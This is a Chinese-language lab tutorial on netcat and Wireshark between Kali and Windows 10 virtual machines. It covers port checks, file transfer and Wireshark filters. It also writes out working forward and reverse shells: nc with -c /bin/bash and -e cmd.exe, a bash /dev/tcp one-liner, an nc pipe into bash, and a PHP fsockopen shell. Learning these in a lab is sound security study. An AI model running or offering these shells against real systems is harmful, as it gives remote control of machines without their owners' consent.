nc&wireshark
一、nc介绍
网上百度就有一堆介绍,平常主要用于监听和连接
二、nc判断端口是否开放
实验环境: win10虚拟机和kali虚拟机
win10虚拟机ip: 192.168.11.142
kali虚拟机ip: 192.168.11.131
此时win10虚拟机,开放了80端口,21端口,3306端口
在kali虚拟机使用nc可以判断win10虚拟机的端口是否开放
如果是开放的端口,比如80端口,就会像卡住一样
如果是未开放的端口,比如81端口,直接会显示连接拒绝
像mysql的3306端口,如果开放,随便输点东西,会被当作用户密码来判断
三、nc或者ncat实现信息互传
nc和ncat是一个东西,只不过windows里面是ncat,linux里面是nc
kali自带了nc
但是win10虚拟机没有ncat,需要安装nmap,nmap的文件夹里面自带了ncat.exe
-lvp参数是实现监听本地端口
-nv 参数是实现连接其它主机端口现在kali虚拟机作为监听方,监听本地的12345端口
win10虚拟机作为连接方,去连接kali的12345端口
连接成功之后,kali监听方这边会显示来自哪个主机的连接
然后两边都可以信息互传了,输入个消息,然后回车,对面就能接收到
四、nc实现文件传输
环境模拟:
在kali虚拟机随意创建一个文件
这里kali虚拟机就是文件持有者
win10虚拟机想获取这个hello.txt文件里面的内容
nc实现文件传输有两种方法
1. 文件持有者作为监听方(不推荐)
文件持有者也就是kali虚拟机,通过管道符将hello.txt里面的内容转发到本地的12345端口上
win10虚拟机通过连接kali的12345端口获取到了hello.txt文件内容,并写入到world.txt中这个方法的缺点是无法主动断开,只能手动断开
那么就造成了一个问题,这个hello.txt文件内容比较少,如果遇到文件内容多的情况下,如果我们不知道是否传输完毕,就提前断开的话,可能导致文件传输不完整,因此不推荐这种方法
那么如何解决不自动断开的问题呢?
需要使用-i 参数
监听方和连接方两边都必须加上-i参数,后面跟数字代表时间,比如 -i 3
Idle timeout expired (3000 ms)这句话当数据完成传输后3秒会自动断开
kali虚拟机这边同样自动断开
2. 文件持有者作为连接方(推荐)
这个方法与上面方法的监听方和连接方相反
win10虚拟机先开启本地的12348端口监听,并且将监听到的内容写入helloworld.txt中
文件持有者,也就是kali虚拟机这边,通过管道符将hello.txt内容转发到win10主机的12348端口可以看到传输完毕,自动断开,并且显示了文件大小和传输时间
并且win10虚拟机这边同样自动断开,也获取到了hello.txt的文件内容
五、nc实现远程控制
1. linux反弹shell给windows
windows获取linux的shell
第一种是win10虚拟机要获取kali虚拟机的shell
(1) 反向连接(反弹shell)
先在win10虚拟机监听12345端口
kali虚拟机去连接windows虚拟机的12345端口
-c /bin/bash的作用就是主动去win10虚拟机下的12345端口获取命令,交给/bin/bash执行,/bin/bash相当于windows里面的cmdkali虚拟机将自己的shell反弹出去,反弹给了win10虚拟机,所以叫反弹shell,也叫反向连接
win10虚拟机成功获取kali的shell
(2) 正向连接
kali虚拟机主动监听自身的12345端口,并把接收到的命令传给/bin/bash
因此叫做正向连接
win10虚拟机连接kali虚拟机的12345端口,成功获取kali的shell
kali虚拟机显示来自win10虚拟机的连接
2. windows反弹shell给linux
linux获取windows的shell
这种与上面的linux反弹shell给windows的用法差不多
只不过linux是使用 -c /bin/bash
而这里windows要使用 -e cmd.exe
(1) 反向连接
kali虚拟机监听12345端口
win10虚拟机主动去kali虚拟机下的12345端口获取命令,并且将命令交给cmd.exe执行win10虚拟机将自身的shell反弹出去,反弹到kali的12345端口上
kali虚拟机成功获取win10的shell
(2) 正向连接
win10虚拟机主动监听自身的12345端口,并把接收到的命令交给cmd.exe执行
kali虚拟机连接win10虚拟机,成功获取win10虚拟机的shell
六、linux常见的反弹shell方式
1. bash反弹shell
win10虚拟机先监听自身的12345端口,等待来自kali的shell
kali虚拟机使用下面这个bash命令去反弹shell给win10虚拟机
bash -i >& /dev/tcp/192.168.11.142/12345 0>&1
bash相当于windows里面的cmd,代表执行命令
-i 参数代表交互式
/dev/tcp/192.168.11.142/12345 表示使用tcp协议去连接win10主机的12345端口,将获取的值传递给bash
0>&1 0代表标准输入,1代表标准输出,也就是在win10虚拟机输入的命令,重定向交给了kali虚拟机的bash去执行
2. 利用管道符反弹shell
这条命令的意思是kali虚拟机监听本地的12345端口,将接收到的命令重定向给/bin/bash去执行
/bin/bash执行完的结果在重定向给本地的12348端口,任何访问kali的12348端口的主机都可以获取结果
nc -lvp 12345 | /bin/bash | nc -lvp 12348
win10虚拟机这边就需要连接两个端口
连接kali的12345端口去输入命令
连接kali 的12348端口去查看结果
3. php反弹shell
php -r 'set_time_limit(0); $ip="192.168.11.142";$port="11111";$fp=@fsockopen($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");while(!feof($fp)){fputs($fp,"shell:");$shell=fgets($fp);$message=`$shell`;fputs($fp,$message);}fclose($fp);}'
win10虚拟机先监听本地的11111端口
kali这边去执行php反弹shell
win10虚拟机成功获取kali的shell
4. 在线网站生成反弹shell
网址:
https://www.revshells.com/ https://forum.ywhack.com/reverse-shell/ 这两个网址打开的网页是一样的
可以自动生成各种各样的反弹shell
然后自己去一个个试,看哪种可以成功反弹shell
七、wireshark的基本使用
这个界面是选择接口的界面
后面的有波浪线的,有起伏的代表与外界进行数据通信
eth0是kali 的网卡
这个地方有个筛选器
双击点开eth0,上面也有个筛选器
这两个筛选器是有区别的
外面的筛选器比如说输入icmp,就代表只获取icmp包,点开eth0之后,要么是有icmp的包,要么是什么也没有,不显示其它的包,比如说tcp,udp等包
点开eth0之后上面筛选器输入icmp,代表只展示icmp包,但是其它包,比如tcp,udp等包也抓取了,删除筛选器里面的icmp,其它的包也展示出来了
展示全部包之后,随便点开看看,下面展示了很多的信息
下面有个题目:
筛选IP为1.1.1.1 目标端口为888 的包 或者 是ip为2.2.2.2 源端口为9999的包
我们如何在过滤器上写,才能够筛选出来,可能筛选出来没有结果,但是要会写
((ip.addr==1.1.1.1) && (tcp.dstport == 888 || udp.dstport == 888))||((ip.addr==2.2.2.2) && (udp.srcport == 9999 || tcp.srcport == 9999))
这里有个小技巧,当你不知道语法,不会写的时候,在下面的信息栏找到对应的项
比如说我这里选的源IP,然后右键,有一个Prepare as Filter,意思是准备为筛选器
然后点开这个,里面就有一些与或的语法,上面就自动生成语法,我们根据生成的改写就可以了